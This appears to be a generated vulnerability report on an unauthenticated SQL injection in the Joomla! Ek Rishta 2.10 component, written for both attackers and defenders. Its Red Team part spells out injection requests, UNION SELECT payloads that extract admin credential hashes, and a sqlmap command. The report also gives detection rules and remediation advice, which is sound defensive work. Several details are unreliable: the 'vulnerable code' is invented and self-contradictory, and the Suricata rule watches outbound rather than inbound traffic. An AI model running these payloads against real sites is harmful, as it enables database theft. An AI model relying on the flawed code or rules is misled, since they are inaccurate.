CVE-2018-25348

Executive Summary

CVE-2018-25348 is a critical SQL injection vulnerability in the Joomla! component Ek Rishta version 2.10. This flaw allows unauthenticated attackers to inject arbitrary SQL commands via the cid parameter in the user_detail view. Successful exploitation can lead to full database compromise, including extraction of sensitive user credentials, session tokens, and other confidential data. The vulnerability is publicly known with proof-of-concept code available, yet no official patch has been released by the vendor. This report provides a comprehensive technical analysis, detection rules, and exploitation guidance for both Red and Blue Teams.

Supply Chain & Package Security

This vulnerability affects a third-party Joomla! extension (Ek Rishta), not the core Joomla! CMS itself. The component is not distributed via official package managers like NPM, PyPI, Go, or Ruby. However, it may be included in Joomla! extension repositories or custom builds. Organizations should verify if this component is present in their Joomla! installations and remove it immediately if no patched version is available.

CVSS Breakdown & Threat Level

CVSS v3.1 Score: 9.8 (Critical)

• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – Vulnerability does not affect other components.
• Confidentiality (C): High (H) – Full database read access.
• Integrity (I): High (H) – Potential to modify or delete data.
• Availability (A): High (H) – Could lead to denial of service via destructive queries.

Threat Level: Critical. The low complexity and lack of authentication make this a high-priority target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the user_detail view of the Ek Rishta component. The cid parameter is directly concatenated into SQL queries without proper sanitization or parameterization. An attacker can craft a GET request like:

/index.php?option=com_ekrishta&view=user_detail&cid=1 UNION SELECT ...

The application fails to validate or escape the cid input, allowing the injection of arbitrary SQL statements. This is a classic example of a first-order SQL injection where the malicious input is immediately processed by the database.

Root Cause: The developer used string concatenation to build SQL queries instead of prepared statements or parameterized queries. For example, vulnerable code might look like:

$query = "SELECT * FROM #__ekrishta_users WHERE id = " . $_GET['cid'];

Impact: An attacker can:

• Extract all usernames, password hashes, and email addresses from the Joomla! users table.
• Retrieve session tokens to hijack admin sessions.
• Enumerate database structure and extract arbitrary data from any table.
• Potentially write files to the server if database user permissions allow.

Vulnerable vs. Patched Code

Vulnerable Code (Ek Rishta 2.10):

// In view.user_detail.html.php or similar
$cid = JRequest::getVar('cid', 0, 'GET', 'INT');
// Note: JRequest::getVar with 'INT' filter may still allow injection if not strict
$query = "SELECT * FROM #__ekrishta_users WHERE id = $cid";
$db->setQuery($query);
$result = $db->loadObject();

Patched Code (Hypothetical fix):

// Use JInput with proper filtering and prepared statements
$cid = JFactory::getApplication()->input->getInt('cid', 0);
$db = JFactory::getDbo();
$query = $db->getQuery(true);
$query->select('*')
      ->from($db->quoteName('#__ekrishta_users'))
      ->where($db->quoteName('id') . ' = ' . (int)$cid);
$db->setQuery($query);
$result = $db->loadObject();

The patched version uses getInt() to force integer conversion and quoteName() for proper escaping. However, since no official patch exists, the only safe mitigation is to remove the component entirely.

Exploitation & Lab Setup

Red Team

Lab Setup:

1. Install Joomla! 3.x (any version) on a local server (e.g., XAMPP, Docker).
2. Download and install Ek Rishta 2.10 from a third-party archive.
3. Ensure the component is enabled and accessible.

Exploitation Steps:

1. Basic Injection Test:

   GET /index.php?option=com_ekrishta&view=user_detail&cid=1' HTTP/1.1
   Host: target.com
   

   If an SQL error is returned, the parameter is injectable.

2. Extract Database Version:

   GET /index.php?option=com_ekrishta&view=user_detail&cid=1 UNION SELECT 1,@@version,3,4,5-- HTTP/1.1
   

3. Extract Joomla! Admin Credentials:

   GET /index.php?option=com_ekrishta&view=user_detail&cid=1 UNION SELECT 1,username,password,email,id FROM #__users-- HTTP/1.1
   

4. Automated Exploitation with sqlmap:

   sqlmap -u "http://target.com/index.php?option=com_ekrishta&view=user_detail&cid=1" --batch --dbs
   

Note: Since no exploit-db code is provided, the above manual techniques are the primary exploitation method.

Blue Team

Detection & Response:

1. Monitor Web Logs: Look for GET requests to /index.php?option=com_ekrishta&view=user_detail with suspicious cid values containing SQL keywords (UNION, SELECT, OR, AND, etc.).

2. WAF Rules: Block requests where the cid parameter contains SQL metacharacters or keywords.

3. Database Monitoring: Alert on unusual queries against the #__ekrishta_users table or unexpected UNION SELECT statements.

4. Immediate Action: If the component is found, remove it from the Joomla! installation and rotate all user passwords.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP GET requests to /index.php?option=com_ekrishta&view=user_detail with cid parameter containing SQL injection patterns.
  • Outbound database connections from the web server to the database server with unusual query patterns.

• File System IOCs:

  • Presence of the directory /components/com_ekrishta/ in the Joomla! installation.
  • Suspicious files in the tmp/ or logs/ directories created by exploitation attempts.

• Database IOCs:

  • Unexpected entries in the #__users table (e.g., new admin accounts).
  • Modified or deleted records in #__ekrishta_users.

• Log IOCs:

  • Joomla! error logs containing SQL syntax errors or stack traces.
  • Web server access logs with repeated requests to the vulnerable endpoint.

Detection Engineering

YARA Rule

rule CVE_2018_25348_Ek_Rishta_SQLi {
    meta:
        description = "Detects SQL injection attempts against Joomla! Ek Rishta component"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2018-25348"
        severity = "critical"

    strings:
        $uri_pattern = /index\.php\?option=com_ekrishta&view=user_detail&cid=/
        $sqli_pattern1 = /cid=.*['\"]/
        $sqli_pattern2 = /cid=.*UNION/i
        $sqli_pattern3 = /cid=.*SELECT/i
        $sqli_pattern4 = /cid=.*OR\s+\d+=\d+/i

    condition:
        $uri_pattern and any of ($sqli_pattern*)
}

Sigma Rule

title: SQL Injection Attempt Against Joomla Ek Rishta Component
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts targeting CVE-2018-25348 in Joomla Ek Rishta component
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_log
detection:
    selection:
        cs-uri-query|contains: 
            - "option=com_ekrishta"
            - "view=user_detail"
            - "cid="
    sqli_patterns:
        cs-uri-query|contains:
            - "'"
            - "\""
            - "UNION"
            - "SELECT"
            - "OR "
            - "AND "
    condition: selection and sqli_patterns
falsepositives:
    - Legitimate use of single quotes in cid parameter (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2018-25348 - Joomla Ek Rishta SQL Injection Attempt";
    flow:to_server,established;
    content:"GET"; http_method;
    content:"/index.php"; http_uri;
    content:"option=com_ekrishta"; http_uri;
    content:"view=user_detail"; http_uri;
    content:"cid="; http_uri;
    pcre:"/cid=.*['\"]|cid=.*UNION|cid=.*SELECT|cid=.*OR\s+\d+=\d+/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
    priority:1;
)

Remediation & Mitigation

Immediate Actions:

1. Remove the Component: Delete the /components/com_ekrishta/ directory from the Joomla! installation.
2. Rotate Credentials: Change all Joomla! admin passwords and any other credentials stored in the database.
3. Audit Database: Check for unauthorized modifications or new user accounts.

Long-term Mitigations:

• Web Application Firewall (WAF): Deploy rules to block SQL injection patterns targeting the cid parameter.
• Input Validation: Ensure all user inputs are validated and sanitized using Joomla!'s built-in filtering functions.
• Regular Updates: Keep Joomla! and all third-party components updated to the latest versions.
• Security Scanning: Regularly scan for vulnerable components using tools like Joomla! Security Scanner or WPScan (for WordPress-like ecosystems).

Note: Since no official patch exists, the only complete remediation is to remove the Ek Rishta component and replace it with an alternative solution.

Valters IT